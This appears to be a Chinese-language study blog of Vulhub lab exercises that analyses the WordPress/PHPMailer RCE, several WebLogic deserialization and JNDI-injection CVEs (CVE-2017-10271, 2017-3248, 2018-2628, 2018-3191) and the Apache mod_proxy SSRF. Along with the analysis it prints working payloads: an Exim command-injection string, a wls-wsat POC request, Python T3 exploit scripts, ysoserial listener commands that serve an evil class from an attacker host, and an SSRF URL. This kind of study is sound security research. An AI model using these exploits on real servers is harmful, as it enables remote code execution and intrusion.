Vulhub刷题
wordpress-pwnscriptum
漏洞原理
wordpress部分
wordpress
在发送邮件的时候,调用的是如下代码
1 | //wordpress-4.6 wp-includes pluggable.php 350 |
这里的$from_email
是可控的,实质就是http
中传入的Host
字段经过一些过滤得到的,如下
1 | //wordpress-4.6 wp-includes pluggable.php 324 |
这个$_SERVER['SERVER_NAME']
就是传入的Host
字段。
phpmailer部分
之前讲到的$phpmailer->setFrom( $from_email, $from_name );
,调用的就是phpmailer
组件的相关代码,该函数如下
1 | //phpmailer-5.2.10 class.phpmailer.php |
然后当在wordpress
中调用phpmailer.send()
发送邮件时,对应代码如下
1 | public function send() |
这个$this->preSend()
一般不会影响到后续,返回的总是True
,从而调用到postSend
其漏洞对应本质是CVE-2016-10033
,参考:PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10045-Vuln-Patch-Bypass (legalhackers.com)
即PHPMailer
这个组件在使用的时候,由于参数没有进行好的过滤,导致最终的代码执行。
参考:phpmailer RCE漏洞分析 · LoRexxar’s Blog
mark没有完整
使用popen
,然后sendmail
实际在安装了exim4
之后,是一个软连接,连接到exim4
而exim4
可以进行命令执行
通过一些正则绕过等,就可以得到最终的payload
,需要知道一个用户名,在用邮件验证的时候进行。
创建/tmp/success
1 | target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}success}} null) |
对应脚本P神
的vulhub
里的
1 | def generate_command(command): |
最好是放在burpsuite
进行,不然容易出错。
WordPress Core 4.6 - Unauthenticated Remote Code Execution (RCE) PoC Exploit (exploitbox.io)
Weblogic
前置知识
XMLDecoder反序列化
参考如下:https://www.freebuf.com/articles/web/321222.html
即XMLDecoder
这个组件,可以将对象进行序列化生成特定格式文件xx.xml
,然后通过反序列化该xx.xml
可以得到对应的对象。
如上述链接提到的Person
类
1 | public class Person { |
其中的get/set
方法在序列化时会调用到,反序列化时只会调用set
方法,如果没有,相关的成员属性的值会丢失。
通过XMLDecode
序列化生成如下格式文件
1 |
|
之后进行反序列化即可得到对应的Person
对象,相关代码如下
1 | import java.beans.XMLDecoder; |
在反序列化的过程中,依据xml
中文件内容,依据指定类进行反序列化,并且对应属性赋值。那么就可以找一个可以进行RCE
的类,反序列化过程中就可以进行RCE
了,相关POC
如下
1 |
|
这里JAVA
版本写啥版本都没什么影响,这个xml
进行反序列化之后相当于执行代码
1 | ProcessBuilder proc = new ProcessBuilder("calc"); |
导致任意代码执行,具体的XMLDecode
里面怎么反序列化的,怎么调用的,函数调用链是什么样子的,还是看如下参考链接吧
https://www.freebuf.com/articles/web/321222.html
https://www.freebuf.com/articles/network/247331.html
T3反序列化
参考:
WeblogicT3反序列化浅析之cve-2015-4852 - 先知社区 (aliyun.com)
Weblogic学习(一): 初识T3反序列化 (yuque.com)
其实主要就是Weblogic
对于T3
协议的处理,T3
协议对于Weblogica
而言,也就相当于JRMP
协议对于原生的Java
程序,都是用来RMI
即远程方法调用的。
RMI/JRMP
关于RMI
以及JRMP
,感觉下面几篇文章挺好的
基于Java反序列化RCE - 搞懂RMI、JRMP、JNDI - 先知社区 (aliyun.com)
搞懂RMI、JRMP、JNDI-终结篇 - 先知社区 (aliyun.com)
就个人理解而言,画个图好解释一下
代码参照的是:基于Java反序列化RCE - 搞懂RMI、JRMP、JNDI - 先知社区 (aliyun.com)
Server
相关类实现如下1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17public interface HelloService extends Remote {
String sayHello() throws RemoteException;
}
//重写了sayHello
public class HelloServiceImpl extends UnicastRemoteObject implements HelloService {
protected HelloServiceImpl() throws RemoteException {
}
public String sayHello() {
System.out.println("hello!");
return "hello!";
}
}Client
相关类实现如下1
2
3
4
5public interface HelloService extends Remote {
String sayHello() throws RemoteException;
}
//并没有实现sayHello
总结来说,就是Server
和Client
共用一个接口,Client
调用Server
重写的接口。
首先Server
重写该接口生成对象,将重写之后的对象进行动态代理序列化后上传到注册中心作为存根stub
。然后Client
就可以从注册中心register
下载Server
重写该接口的动态代理对象存根stub
,将之反序列化后进行动态代理即可调用到Server
重写的接口函数了。
这里提到stub
对象不是对应的HelloServiceImpl
对象,而是JAVA
动态代理对象,里面存储了如何跟服务端联系的信息,以及封装了RMI的通讯实现细节,也就是对于sayHello
重写的代码并没有保存在这个stub
对象中,还是保存在服务器上,调用的时候还是远程调用。
还有更加详细的关于动态代理对象的解释可以看看奇安信A-team
的师傅写的WebLogic安全研究报告 (qq.com),感觉写的很好,如下图
需要注意的是,服务端Server
和注册中心register
其实是可以放在一台机器上的。
感觉这个过程更像是一个RSA
过程,服务器生成私钥(stub
)给客户,公开公钥(register
以及Skeleton
),借助这两方完成通信。
序列化漏洞
在这个过程中进行通信所用到的协议就是JRMP
协议,其中进行数据传输的过程中,无论是客户端还是服务端,都会用到JAVA
反序列化和序列化,盗用一下奇安信师傅的图,2333
也就是基本都会存在漏洞,但是爆出来洞之后基本也会有相关的黑名单限制。可以参考:从ysoserial讲RMI/JRMP反序列化漏洞 - Escape-w - 博客园 (cnblogs.com)
T3协议
对于T3
也是类似的,盗用一下奇安信师傅的图,2333
漏洞原理
而对于使用T3
协议,其数据包结构
替换之后,当服务器接收到恶意的数据,对其中的一些序列化数据进行反序列化是,就会导致恶意对象被反序列化,从而引发反序列化漏洞。
攻击方式
相关的攻击方式就比如说在自己服务器生成一个注册中心,可控受害者的反序列化时就可以让其使用RMI
机制。从自己服务器获取恶意的stub
对象,然后在受害者再对该stub
进行反序列化时即可完成攻击。
(因为可控受害者的反序列化的过程中可能会碰到黑名单限制,无法轻松完成CC
链之类的攻击,所以借助原生RMI
机制,详见CVE-2015-4852
之后关于T3
的漏洞。另外借助原生的RMI
机制其实也可能会有黑名单限制,这个就需要自己绕过,或者找现成的payload
来打了,参考:https://www.anquanke.com/post/id/228918)
CVE-2017-10271
Weblogic < 10.3.6 ‘wls-wsat’ XMLDecoder 反序列化漏洞
环境搭建
参考:https://xz.aliyun.com/t/10172#toc-1
记得最后把docker
重启一下就行
漏洞分析
漏洞点在/wls-wsat/
提供的页面上,当POST
请求规范的XML
数据访问该组件下对应的页面,会进入到weblogic/wsee/jaxws/workcontext/WorkContextServerTube
类中的processRequest
方法,进行数据包的处理。
相关分析流程可以参考:
https://www.anquanke.com/post/id/102768#h2-6
https://xz.aliyun.com/t/10172#toc-4
对应调用链条为
1 | WorkContextServerTube.processRequest |
最终在readUTF
中进行反序列化,
这里的xmlDecode
里面保存的buf
就是我们传入去掉头部留下的数据
赋值过来,用python
跑一下就知道
这样即得到最终的命令执行。
POC
在P神
的vulhub
下复制来的
1 | POST /wls-wsat/CoordinatorPortType HTTP/1.1 |
漏洞修复
官方补丁,没看怎么进行修复,不过应该时添加黑名单
CVE-2018-2628
详见上面的T3
反序列化,是T3
协议的漏洞
漏洞探测
首先需要看Weblogic
是否启用T3
协议,以及版本号的判断
1 | nmap -p 7001,7002 -T4 -A -v --script weblogic-t3-info 192.168.120.161 |
环境搭建
也是类似的,用vulhub
的,参考:https://xz.aliyun.com/t/10172#toc-1
记得最后把docker
重启一下就行
漏洞分析
先从最开始的CVE-2015-4852
进行分析,参考:Weblogic学习(一): 初识T3反序列化 (yuque.com)
使用如下exp
1 | from os import popen |
首先断点下在weblogic.rjvm.InboundMsgAbbrev#readObject
。如下图所示,可以看到前面还有一堆的调用链条
是相关的异步以及线程、复用器(muxer
)的分发等知识,不是很懂这里,估计是一些监听检测之类的,可以看看如下的介绍
CVE-2018-2628 Weblogic反序列化漏洞分析 - 先知社区 (aliyun.com)
然后看看现在的weblogic.rjvm.InboundMsgAbbrev#readObject
这个var1
就是接收到的数据,看里面的head
的buf
属性,将其复制出来,用python
打印一下看看
可以看到这一大串,其实就是我们的exp
中的原数据
前面的000005f2
就是总的数据包的长度,这些数据都是可控的,但是这个长度只能比实际payload
短,不能长。
那么之后就是相关解析,进行反序列化了。
resolveClass
在上述的readObject
之后还会进行一系列的函数调用,其中比较重要的点就是weblogic.rjvm.InboundMsgAbbrev#resolveClass
传入的stream
会调用父类ObjectInputStream
的resolveClass
来进行类名解析
对于总的readObject
流程中,weblogic.rjvm.InboundMsgAbbrev#resolveClass
大致扮演的角色如下廖师傅的图片
那么就可以在这里添加一个过滤条件,设置黑名单了,比如如下对于12.2.1.3
版本的Weblogic
就会有如下过滤,存在一个检查
而从最开始的该CVE
相关的T3
反序列化爆出来之后,后续修复方案大多都是在调用父类resolveClass
之前进行黑名单过滤,写的代码也是逐次迭代
最开始针对CVE-2015-4852
的修复是在resolveClass
中引入了ClassFilter.isBlackListed
进行过滤,盗用一下cL0und
师傅的图,23333
后面缝缝补补,黑名单位置也更改在WebLogicFilterConfig.class
中
所以在后续的漏洞中,由于黑名单的使用这里其实需要对resolveClass
进行一个分析
CVE-2017-3248
对于该漏洞的相关的漏洞发展绕过,可以看weblogic历史T3反序列化漏洞及补丁梳理,比较和本次CVE-2018-2628
漏洞相关的是CVE-2017-3248
,首次出现使用JRMPClient
进行外带RCE
对应的exp
如下
1 | from os import popen |
可以看到发送的序列化对象是通过ysoserial
生成的,我们看看ysoserial
里面具体生成了什么对象
可以看到生成的是Registry
对象,然后将之复制出来,放到IDEA
里面自己测试一下
1 | package ysoserial.test.payloads; |
在开启了远程的JRMPLister_IP
之后
1 | java -cp ./ysoserial-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections6 'touch /tmp/zzzz' |
执行上述JAVA
代码,发现并没有命令执行,远程也没有发送数据的信息显示。那么就可能现在还没有和远程进行通信,那么加入如下可以远程通信的代码
1 | myTest test = new myTest(); |
发现成功命令执行。
但是这里有个疑问,在Weblogic
中反序列化对象之后,我并没有找到有对对象调用了远程通信的方法,而在调试的时候发现,当从resloveClass
中返回,即完成如下代码就会得到命令执行了,这里有点不太懂。为什么能够远程通信了,这些代码里面并没有找到和远程通信的方法调用呀。
实际调用链
参考:ysoserial JRMP相关模块分析(二)- payloads/JRMPClient & exploit/JRMPListener - 先知社区 (aliyun.com)
RMI Bypass Jep290(Jdk8u231) 反序列化漏洞分析 - 360CERT
实际调试一下,看看是怎么从Registry
调用到和远程通信的函数,将Weblogic
的jdk
拿出来调试,上述的文章告诉我们最后是在jdk1.6.0_45/jre/lib/rt.jar!/sun.rmi.transport.StreamRemoteCall#executeCall
中获取到远程对象进行反序列化的,如下图所示
断点下在这里,看一看实际数据,这里的in
就是连接的数据流
断点之后再运行一下就断在如图所示地方,ysoserial
会自动生成BadAttributeValueExpException
这个类对象,然后将恶意的数据封装进去,所以实际的数据中,已经可以看到相关的CC
链其实已经传过来并且反序列化了
看看对应的调用栈
有点多,前面大部分都是RMI
机制相关的调用,不用太管,主要看实际的反序列化的点,即weblogic.rjvm.InboundMsgAbbrev#readObject
处,那么相关的调用栈就如下
这里可以看到有一堆的readObject
,这其实涉及到ObjectInputStream
反序列化的几种方式,参考:Weblogic CVE-2021-2394 反序列化漏洞分析-安全客 - 安全资讯平台 (anquanke.com),引用一下上述的一张图,其中红色和蓝色路径是互斥的。
那么前面就是针对接口Registry
的以及RemoteObjectInvocationHandler
的反序列化,而RemoteObjectInvocationHandler
是继承自RemoteObject
,RemoteObject
又实现了Serializable
接口,所以走的是下面蓝色的那条路径。
之后在RemoteObject.readObject
上看一下,对里面的RemoteObjectInvocationHandler.ref
,即RemoteRef
进行了反序列化,通过判断refClassName
,进入的是else
路径,调用的是其readExternal
函数,走的是上面红色的那条路,可以看到注释也说明了
这个ref
在之前的payload
中看到的是
1 | UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); |
所以反序列化的是UnicastRef
,其实现了RemoteRef
接口,RemoteRef
接口又实现了Externalizable
接口,所以这里也能知道走的应该是红色路径。然后看看其反序列化函数,即readExternal
调用其read
函数,进行相关IP/Port
的获取,然后进入到registerRefs
函数,就是相关的DGC(Distributed Garbage Collection)
分布式垃圾收集机制,可以参考,可以参考攻击JavaRMI概述 - FreeBuf网络安全行业门户。
不是很懂这个,就是进行一些相关注册之后,最后会在jdk1.6.0_45/jre/lib/rt.jar!/sun.rmi.transport.DGCImpl_Stub#dirty
函数中调用到RemoteRef.invoke
函数
这里的ref
就是那个UnicastRef
了,然后就是这里的invoke
函数了
进入excuteCall
函数,就是之前提到的,那么完整的分析就完成了,在excuteCall
函数中通过如下代码
1 | var14 = this.in.readObject(); |
完成远程对象的反序列化。
绕过CVE-2017-3248
继CVE-2017-3248
之后,CVE-2018-2628
生成的原因,就在于绕过了黑名单中对于java.rmi.registry.Registry
的过滤,该过滤是放在weblogic.rjvm.InboundMsgAbbrev#resolveProxyClass
中的。
而这个resolveProxyClass
在前面那张廖师傅的图片也提到了,也是可以用来过滤的。
原漏洞作者绕过的方法是使用java.rmi.activation.Activator
进行绕过,参考:CVE-2018-2628 简单复现与分析,但是实际上,在反序列化时,这个接口根本就没有什么用处,所以随便一个接口都可以绕过,参考:weblogic历史T3反序列化漏洞及补丁梳理 (qq.com)
比如上述cL0und
师傅说的换成Map
都可以的,如下代码所示
1 | // |
ysoserial
添加payload
这里再记录一下在ysoserial
中添加payload
。其实git clone
下来用IDEA
打开,等待pom.xml
加载库,然后在ysoserialsrc/main/java/ysoserial/payloads
中新建对应类放入即可,比如这里就放入JRMPClient3
就行。最后再用如命令mvn clean package -DskipTests
打包一下就能用。
接口是什么没有关系,实际上最本质的是UnicastRef
这个对象就能建立远程连接并且获取信息。比如如下的JRMPClient2
1 | package ysoserial.payloads; |
在实际的调用栈如下,也能完成利用。
此外由于CVE-2017-3248
的补丁黑名单是添加到resolveProxyClass
中,而对于resolveProxyClass
而言,只要反序列化的对象没有proxy
类的,那么resolveProxyClass
就不会被调用到,那么其实只用UnicastRef
的payload
根本就不会碰到CVE-2017-3248
的补丁黑名单过滤。
参考:Weblogic JRMP反序列化漏洞回顾 - 先知社区 (aliyun.com)
漏洞修复
该CVE-2018-2628
漏洞的修复最终添加的黑名单是sun.rmi.server.UnicastRef
,放在weblogic.utils.io.oif.WebLogicFilterConfig
中。
但是该漏洞的修复并没有用,因为在UnicastRef
经过RemoteObjectInvocationHandler
的封装后,其序列化和反序列化过程是在RemoteObjectInvocationHandler
父类RemoteObject
的readObject/writeObject
中完成的
所以当在resovleClass
中获取类名尝试拦截时,获取到RemoteObjectInvocationHandler
之后,下一个是获取不到UnicastRef
的,因为UnicastRef
已经在RemoteObjectInvocationHandler
反序列化过程中完成了反序列化,所以该漏洞的补丁和没加一样的。
参考:Weblogic JRMP反序列化漏洞回顾 - 先知社区 (aliyun.com)
疑问
在调试进行序列化和反序列化的时候,我尝试在本地进行,如下代码
1 | package ysoserial.test.payloads; |
在开启了JRMPListerner
之后,反序列化的过程中并没有命令执行,经过调试,最终也会走入到executeCall
方法,但是总是没办法接收到远程的数据,而远程显示已经发送的数据,但是就是接收不到,不知道为什么。实际的调用栈其实也差不多
在本地调试时也会进入到executeCall#var14 = this.in.readObject();
但是反序列化得到的结果不是想要的,水平比较菜,也没有找到反序列化的数据在哪里。寄寄。
但是实际上,如果在上述代码最后加上一个远程通信代码
1 | unSerObj.list(); |
这样就可以得到命令执行,同样也是在executeCall#var14 = this.in.readObject();
进行的反序列化得到命令执行,有点整不会了。mark一下
JNDI注入
学到Weblogic
的一些洞,发现其中的JNDI
注入(Java Naming and Directory Interface)
挺有意思,就来复现一下。
首先以java1.6.0_45
为例子,比较原始一点,不涉及之后JAVA
版本对于JNDI
注入的一些限制
简单例子
做个简单JNDI
的运行例子,画一下图更加清楚一点
server/register
直接就放在一起了,用wh1t3p1g
师傅改版后的ysoserial
1 | java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRefListener 1099 EvilObj http://LDAP_IP/ |
这个EvilObj
即代表在LDAP
服务中的EvilObj.class
,随便写点恶意代码就行
参考:JNDI with RMI-安全客 - 安全资讯平台 (anquanke.com)
1 | /** |
javac
编译生成的EvilObj.class
,放在LDAP
服务目录下即可
LDAP服务
这个直接开启Web
服务就行,比如用Python
1 | python3 -m http.server 80 |
然后Web
目录下得有上述的EvilObj.class
,即http://LDAP_IP/EvilObj.class
得访问下载到才行。
当然这个LDAP
服务和上面的server
放一起也行,用wh1t3p1g
师傅改版后的ysoserial同样可以完成,但是师傅可能更改了一些代码,现在不太好使,也可能是自己方法不对。这里就自己写了一下,借助一下师傅的PayloadClassFileHTTPServer
类,然后整合一下放到ysoserial.exploit
里面就行
1 | package ysoserial.exploit; |
命令如下
1 | java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRefWithHttpServerListener [registry_IP:registry_PORT] [LDAP_Port] [EvilObj_name] [command] |
client
本地访问一下就行
1 | package ysoserial.test.payloads; |
这里的两行代码
1 | System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true"); |
是在某个新的JDK
之后由于com.sun.jndi.ldap.object.trustURLCodebase
和com.sun.jndi.rmi.object.trustURLCodebase
默认设置为false
,导致无法利用RMI
机制以及LDAP
机制。当没有设置时,进行lookup
调试后会进入如下判断
RMI
判断RegistryContext#decodeObject
判断com.sun.jndi.rmi.object.trustURLCodebase
LDAP
判断NamingManager#getObjectFactoryFromReference
进入VersionHelper12#loadClass
判断com.sun.jndi.ldap.object.trustURLCodebase
所以这里将其设置为true
,或者命令行也行
1 | ... |
详细看下图
参考:攻击Java中的JNDI、RMI、LDAP(二) - Y4er的博客
CVE-2018-3191
Weblogic
中关于JNDI
注入的,比较原始的应该就算这个洞了吧。
环境搭建
也是类似的,用vulhub
的,就用CVE-2018-2628
的Weblogic
,参考:https://xz.aliyun.com/t/10172#toc-1
记得最后把docker
重启一下就行
漏洞分析
调试准备
本地准备
生成在
T3
协议中进行反序列化的JtaTransactionManager
类,该类不在T3
协议的黑名单中,可以被反序列化,如下代码1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25package ysoserial.payloads;
import com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
public class JNDI {
public static void main(String[] args) throws IOException {
String jndiAddress = "rmi://[registry_IP]:[registry_Port]/EvilObj";
JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
jtaTransactionManager.setUserTransactionName(jndiAddress);
ser(jtaTransactionManager, "CVE_2018_3191.ser");
}
public static void ser(Object obj, String serName) throws IOException {
File file = new File(serName);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(file));
oos.writeObject(obj);
System.out.println("-------序列化成功" + serName);
}
}上述代码参考:weblogic历史T3反序列化漏洞及补丁梳理 (qq.com)
其中的
JtaTransactionManager
类是在Weblogic
中的,将Weblogic
中的modules
打包出来放在IDEA
中加载即可。相关的
EXP
如下1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51from os import popen
import struct # 负责大小端的转换
import subprocess
from sys import stdout
import socket
import re
import binascii
def generatePayload(gadget,cmd):
YSO_PATH = "/home/hacker/Desktop/WEB/JAVA/ysoserial.jar"
popen = subprocess.Popen(['java','-jar',YSO_PATH,gadget,cmd],stdout=subprocess.PIPE)
return popen.stdout.read()
def getFilePayload(path):
with open(path, "rb") as f:
return f.read()
def T3Exploit(ip,port,payload):
sock =socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((ip,port))
handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n"
sock.sendall(handshake.encode())
data = sock.recv(1024)
compile = re.compile("HELO:(.*).0.false")
match = compile.findall(data.decode())
if match:
print("Weblogic: "+"".join(match))
else:
print("Not Weblogic")
return
#payload的长度四字节无符号整数
payloadLen = binascii.a2b_hex(b"00000000")
#头部某些地方改掉也没关系,估计是只检测了一部分
t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006")
#反序列化标志,这个不能改
desflag = binascii.a2b_hex(b"fe010000")
payload = payloadLen + t3header +desflag+ payload
payload = struct.pack(">I",len(payload)) + payload[4:]
sock.send(payload)
if __name__ == "__main__":
host = "127.0.0.1"
port = 7001
#gadget = "JNDI"
#command = "xxx:xxx"
#payload = generatePayload(gadget, command)
payload = getFilePayload("/home/hacker/Desktop/WEB/JAVA/ysoserial/CVE_2018_3191.ser")
T3Exploit(host, port, payload)服务器准备
使用如下代码搭建
registry
1
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRefListener 9999 EvilObj http://[LDAP_IP]/
LDAP
服务将
EvilObj.class
放在该目录下1
python3 -m http.server 80
需要注意的是,这里CVE-2018-2628
中的Weblogic
其java
环境是1.6.0_45
,而如果服务器中的java
环境大于此版本,其生成的EvilObj
就无法被成功解析,会出现如下版本不匹配问题,导致无法完成漏洞利用。
而高版本解析低版本则没有什么关系,所以一般需要找对应版本的java
来生成EvilObj
然后挂载到服务器上。
最后有如下结果所示,然后版本也没有不匹配就应该差不多了。
具体分析
漏洞点出在com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager#readObject
中调用了initUserTransactionAndTransactionManager
继续跟进initUserTransactionAndTransactionManager
,判断一下this.userTransactionName
就会调用到this.lookupUserTransaction
函数,而this.userTransactionName
在反序列化中是可控的
this.lookupUserTransaction
函数中会调用到JndiTemplate#lookup
函数,并且以userTransactionName
作为参数
JndiTemplate#lookup
函数中会再调用一次本类中单个name
参数的lookup
函数
在该单个name
参数的lookup
函数中找到最终的漏洞根源,使用了Context
的lookup
函数来远程加载恶意类,该name
就是JtaTransactionManager.userTransactionName
,是可控的。
这个this.execute
就会调用到这里重写的doInContext
函数,触发漏洞
HTTPD(Apache)
CVE-2021-40438
Apache
版本小于2.4.48
,由于代理模块mod_proxy
的漏洞,可以造成Apache
的SSRF
,需要开启如下两个模块
1 | LoadModule proxy_module modules/mod_proxy.so |
即在/conf/httpd.conf
中注释掉
环境搭建
参考P
神的编译调试 Apache
漏洞分析
相关的漏洞链条如下
1 | mod_proxy.c/proxy_handler |
同样也是参考P
神的:Apache mod_proxy SSRF(CVE-2021-40438)的一点分析和延伸 | 离别歌 (leavesongs.com)
断点下在modules/proxy/proxy_util.c
的fix_uds_filename
函数头部
随便发送一个数据包访问一下即可断下来,该函数相关注释如下
1 | static void fix_uds_filename(request_rec *r, char **url) |
首先关注的一点是r->filename
,这里我输入的url
是http://127.0.0.1:4444/?aaaaaa
,其r->filename
相关值如下,为proxy:http://192.168.1.1/?aaaaaa
即将我们设置中的代理和用户的输入url
路径进行了拼接
也就是说这个r->filename
是一部分可控的。
那么依据在fix_uds_filename
函数的第二个if
判定以及相关的函数注释
ap_strcasestr
ap_strchr
那么即可推导出进入该if
的条件
r->filename
的前6个字符等于proxy:
r->filename
的字符串中含有字串unix:
unix:
字串的后面部分含有字符|
比如这样的proxy:http://192.168.1.1/?unix:aaaaaa|http://127.0.0.1/